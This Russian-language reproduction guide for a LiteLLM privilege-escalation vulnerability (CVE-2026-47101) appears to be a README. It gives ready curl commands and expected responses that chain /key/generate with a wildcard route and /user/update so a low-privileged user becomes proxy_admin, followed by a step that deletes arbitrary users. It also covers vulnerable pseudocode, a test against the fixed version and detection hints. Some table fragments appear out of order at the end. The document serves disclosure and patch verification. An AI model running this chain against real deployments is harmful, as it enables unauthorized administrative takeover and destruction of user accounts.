
Код для самостоятельного воспроизведения соответствующей уязвимости
/key/generate + /user/updateLiteLLM версии v1.82.6 (до v1.83.14) эндпоинт
/key/generateпозволяет малопривилегированномуinternal_userзапросить API-ключ с wildcard-маршрутом["/*"], а затем через эндпоинт/user/updateповысить свою роль доproxy_admin, реализуя несанкционированное повышение привилегий.
| Поле | Значение |
|---|---|
| CVE | CVE-2026-47101 |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) |
| Затронутые версии | LiteLLM < 1.83.14 (подтверждено в v1.82.6) |
| Исправление | v1.83.14+ (добавлена проверка роли для allowed_routes) |
| Опубликовано | 2026-05-21 |
| Обнаружено | Fenix Qiao (13ph03nix) — Obsidian Security |
| Ссылки | NVD |
Эндпоинт /key/generate в LiteLLM используется для генерации API-ключей, а /user/update — для обновления атрибутов пользователя.
В проверках авторизации этих двух эндпоинтов существуют три последовательных дефекта, которые могут быть использованы малопривилегированным пользователем в цепочке:
/key/generate не проверяет allowed_routes — любая роль (включая internal_user) может запросить wildcard-маршрут ["/*"]allowed_routes — сгенерированный wildcard-ключ получает доступ ко всем административным эндпоинтам/user/update позволяет самому изменять поле user_role — используя wildcard-ключ, можно повысить свою роль до proxy_admininternal_user
→ POST /key/generate {"allowed_routes": ["/*"]}
→ получение wildcard API-ключа
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"}
→ повышение роли до proxy_admin
→ GET /user/list (используя wildcard-ключ)
→ подтверждение административного доступа
# 1. Запуск PostgreSQL + уязвимой версии LiteLLM (v1.82.6, фиксированный digest)
docker compose up -d litellm
# Ожидание готовности сервиса (около 10–30 секунд)
sleep 15
# Просмотр логов контейнера
docker logs litellm-privesc 2>&1 | tail -10
Ожидаемый вывод должен содержать строки об успешном запуске, например Uvicorn running on http://0.0.0.0:4000.
Используйте master key для создания малопривилегированной учётной записи internal_user:
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Ожидаемый вывод:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
Запомните возвращённые user_id и key — они понадобятся на следующих шагах.
Вызовите /key/generate от имени internal_user, запросив ключ с wildcard-маршрутом ["/*"]:
# Замените sk-internal-user-key на ключ, полученный на предыдущем шаге
curl -s -X POST http://localhost:4000/key/generate \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
Ожидаемый вывод:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}
⚠️ Уязвимость:
internal_userуспешно сгенерировал ключ с wildcard-маршрутом["/*"]! Этот ключ может получить доступ ко всем административным эндпоинтам, включая/user/update,/user/listи другие.
Используя wildcard-ключ, вызовите /user/update для изменения роли пользователя на proxy_admin:
curl -s -X POST http://localhost:4000/user/update \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Ожидаемый вывод:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Уязвимость:
user_roleизменён сinternal_userнаproxy_admin! Эндпоинт/user/updateпозволяет пользователю изменять собственное полеuser_roleбез каких-либо ограничений.
Проверьте, что повышение роли сработало, через эндпоинт /user/list:
curl -s -X GET http://localhost:4000/user/list \
-H "Authorization: Bearer sk-wildcard-key"
Ожидаемый вывод:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
Эндпоинт
/user/listдоступен только для ролиproxy_admin. Успешное получение списка пользователей подтверждает, что повышение привилегий сработало.
Используя полученные права proxy_admin, можно удалить любого пользователя через /user/delete:
curl -s -X POST http://localhost:4000/user/delete \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Ожидаемый вывод:
1
Все шаги объединены в скрипт demo.sh, его можно выполнить напрямую:
# Полное воспроизведение (шаги 1–5)
bash demo.sh
# Одновременное тестирование исправленной версии
bash demo.sh --fixed
Запустите исправленную версию (v1.83.14-stable), чтобы убедиться, что уязвимость устранена:
# Запуск исправленной версии
docker compose --profile fixed up -d litellm-fixed
# Ожидание готовности
sleep 15
Создайте internal_user:
FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}' | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
echo "Fixed user key: $FIXED_USER_KEY"
Попробуйте сгенерировать ключ с wildcard-маршрутом (ожидается блокировка):
curl -s -X POST http://localhost:4001/key/generate \
-H "Authorization: Bearer $FIXED_USER_KEY" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
Ожидаемый вывод (исправленная версия блокирует несанкционированный запрос):
{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}
Сравнение с уязвимой версией:
| Тестовый сценарий | Уязвимая версия (v1.82.6) | Исправленная версия (v1.83.14) |
|---|---|---|
| internal_user запрашивает |
POST /key/generateГенерирует новый API-ключ. Параметр allowed_routes ограничивает список маршрутов, к которым имеет доступ ключ.
| Поле | Тип | Обязательно | Описание |
|---|---|---|---|
allowed_routes | array | Нет | Список разрешённых маршрутов, например ["/*"] означает все маршруты |
POST /user/updateОбновляет атрибуты пользователя, включая поле user_role.
| Поле | Тип | Обязательно | Описание |
|---|---|---|---|
user_id | string | Да |
От имени internal_user вызовите /key/generate с запросом ключа с ["/*"]:
POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json
{"allowed_routes": ["/*"]}
В ответе будет новый API-ключ с правами wildcard-маршрута.
Используя wildcard-ключ, вызовите /user/update:
POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
GET /user/list
Authorization: Bearer sk-wildcard-key
Уязвимость вызвана тремя независимыми отсутствиями проверок авторизации:
/key/generate — отсутствие проверки роли для allowed_routesЭндпоинт /key/generate принимает параметр allowed_routes и напрямую связывает его с ключом, не проверяя роль запрашивающего. Даже internal_user может запросить маршруты уровня администратора.
# Уязвимый псевдокод — проверка роли отсутствует
@app.post("/key/generate")
async def generate_key(params, user_api_key_dict):
# Проверяется только валидность API-ключа
# Не проверяется, разрешено ли user_role запрашивать allowed_routes
allowed_routes = params.get("allowed_routes", [])
new_key = create_key(user=user, allowed_routes=allowed_routes)
return {"key": new_key}
Middleware при проверке прав доступа к маршруту, если проверка на уровне роли пользователя не проходит, откатывается к проверке списка allowed_routes API-ключа. Поскольку ["/*"] соответствует всем маршрутам, все административные эндпоинты становятся доступными.
# Уязвимый псевдокод — логика отката при проверке маршрута
async def authorize_request(request, api_key):
# Если проверка роли пользователя не прошла, откатываемся к allowed_routes
if not user_role_authorized(request, api_key.user):
# Проверка allowed_routes — ["/*"] соответствует всем
if not any(match_route(route, request.path) for route in api_key.allowed_routes):
return HTTP_403
return HTTP_200
/user/update — разрешено самому изменять user_roleЭндпоинт /user/update при обновлении атрибутов пользователя позволяет пользователю изменять собственное поле user_role без каких-либо ограничений. Только роль proxy_admin должна иметь право изменять роли пользователей.
# Уязвимый псевдокод — user_role не ограничен
@app.post("/user/update")
async def update_user(params, user_api_key_dict):
user_id = params.get("user_id")
updates = {}
if "user_role" in params:
updates["user_role"] = params["user_role"] # проверка прав отсутствует!
update_user_in_db(user_id, updates)
return {"user_id": user_id, "data": updates}
Исправленная версия добавляет проверки авторизации в трёх аспектах:
/key/generate — добавлена проверка параметра allowed_routes: обычные пользователи не могут запрашивать маршруты уровня администратораallowed_routes/user/update — ограничено изменение поля user_role: только proxy_admin может менять роли пользователейCVE-2026-47101/
├── README.md # This file
├── CVE-2026-47101_漏洞复现报告.docx # Reproduction report (Chinese)
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml # LiteLLM config with database connection
├── requirements.txt # Python dependencies
├── demo.sh # One-click reproduction script
├── exploit/
│ ├── exploit.py # Python exploit script
│ └── payload.py # Payload builders
├── docs/
└── screenshots/
allowed_routes/user/update с изменениями user_role на предмет аномальной активностиОтказ от ответственности: Данный материал предоставлен только для образовательных целей и авторизованного тестирования безопасности.
["/*"]| ✅ Успешно создан wildcard-ключ |
| ❌ Заблокировано (HTTP 403) |
| wildcard-ключ изменяет user_role | ✅ Успешно повышен до proxy_admin | ❌ Заблокировано |
| wildcard-ключ обращается к /user/list | ✅ Успешно получен список пользователей | ❌ Заблокировано |
| ID пользователя для обновления |
user_role | string | Да | Новая роль (например, proxy_admin) |